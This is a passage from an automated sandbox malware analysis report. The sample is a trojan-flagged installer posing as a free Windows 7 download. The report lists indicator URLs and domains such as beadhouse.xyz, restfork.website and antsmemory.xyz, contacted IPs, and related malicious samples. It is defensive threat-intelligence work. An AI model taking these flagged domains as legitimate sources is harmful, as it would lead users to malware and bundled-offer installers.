http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2&t=1705852624	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&t=1705852624	true	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625	false	Avira URL Cloud: phishing	unknown
http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ==&sub=&ps=657855dd328a1	true	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://restfork.website/4	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://windactivity.online/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1684530882.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.000000000253A000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2682&dn=244&spot=3&t=17	nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4	setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658q	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2682&dn=419&spot=2&t=1	nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658s	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://digitalpulsedata.com/tos	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624tv	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658l	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz:80/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIE	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://restfork.website/	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dub	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1684530882.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.000000000253A000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002559000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	false	Avira URL Cloud: malware	unknown
https://destructionheat.site/tracker/thank_you.php?trk=2682	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002516000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92http://beadhouse.xyz/a	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/2	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2682&dn=415&spot=4&t=17058	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.pcmaintainer.com/eula	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9Inno	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1685641763.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1686006536.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000000.1687366971.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-4F7CE.tmp.1.dr, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	false	URL Reputation: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658682&dn=244&spot=3&t=1705852624	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657S	setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2682&dn=415&spot=4&t=1	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1685641763.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1686006536.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000000.1687366971.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-4F7CE.tmp.1.dr, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/	setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2682&dn=415&spot=4&t=17	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624InnoDownloadPlugin/1.5/USERAGENT/silentget1023	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVka	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002533000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, is-28V37.tmp.1.dr	false	Avira URL Cloud: phishing	unknown
https://legal.opera.com/eula/computers/	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false		high
https://www.7-zip.org/	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://antsmemory.xyz/	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://advancedmanager.io/eula	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=16587	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2682&dn=416&spot=6&t=1	nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/l	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2682&dn=244&spot=3&t=170	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2682&dn=420&spot=1&t=1	nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=16576	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://advancedmanager.io/privacy-policy	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.7-zip.org/03D	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.0000000002443000.00000004.00001000.00020000.00000000.sdmp	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2682&dn=244&spot=3&t=170585	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	setup.exe, 00000002.00000000.1794091590.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-R68UJ.tmp.1.dr, is-1S2IB.tmp.1.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2682&dn=424&spot=5&t=1	nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/n	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662&	setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2682&dn=419&spot=2&t=17058	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	setup.exe, setup.exe, 00000002.00000000.1794091590.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-R68UJ.tmp.1.dr, is-1S2IB.tmp.1.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2682&dn=419&spot=2&t=17	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2682&dn=420&spot=1&t=17058	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2682&dn=424&spot=5&t=17058	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://www.thedownloadplanet.com/termsofuse	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2682&dn=416&spot=6&t=17058	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://www.pcmaintainer.com/privacy	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2682&dn=416&spot=6&t=17	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=16647	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658g	setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661b	setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331mp	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.7-zip.org/03_	81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.00000000025F3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2682&dn=420&spot=1&t=17	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2682&dn=424&spot=5&t=17	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624P	setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/privacy/	setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.23.90	antsmemory.xyz	United States	13335	CLOUDFLARENETUS	true
104.21.38.59	beadhouse.xyz	United States	13335	CLOUDFLARENETUS	true
104.21.61.51	restfork.website	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378303
Start date and time:	2024-01-21 16:56:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Detection:	MAL
Classification:	mal42.troj.winEXE@5/24@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.23.90	SHIPPING INVOICE DOCUMENTS.pdf.exe	Get hash	malicious	FormBook	Browse	www.tucasalux.com/fi46/?G2J0a=S9ckRkC5Zlq2si4aSMqWBNnchpYnzzStJ8Ll3sSv33rXiRp7R2438sXvfl6roQSZJLP4&mVrDRn=04yl7v
104.21.38.59	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705789015
104.21.38.59	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2474&dn=416&spot=6&t=1705775816
104.21.61.51	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
104.21.61.51	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
restfork.website	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
beadhouse.xyz	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
antsmemory.xyz	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	sq5W8v3VZV.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	630DB15B4A855CA42E13666E2046C639A4C2847E0D1FC.exe	Get hash	malicious	AsyncRAT	Browse	104.20.23.46
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.176.158
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.35.143
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.238
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.101
	TgzLrzVYBu.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	qRNGy553ii.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
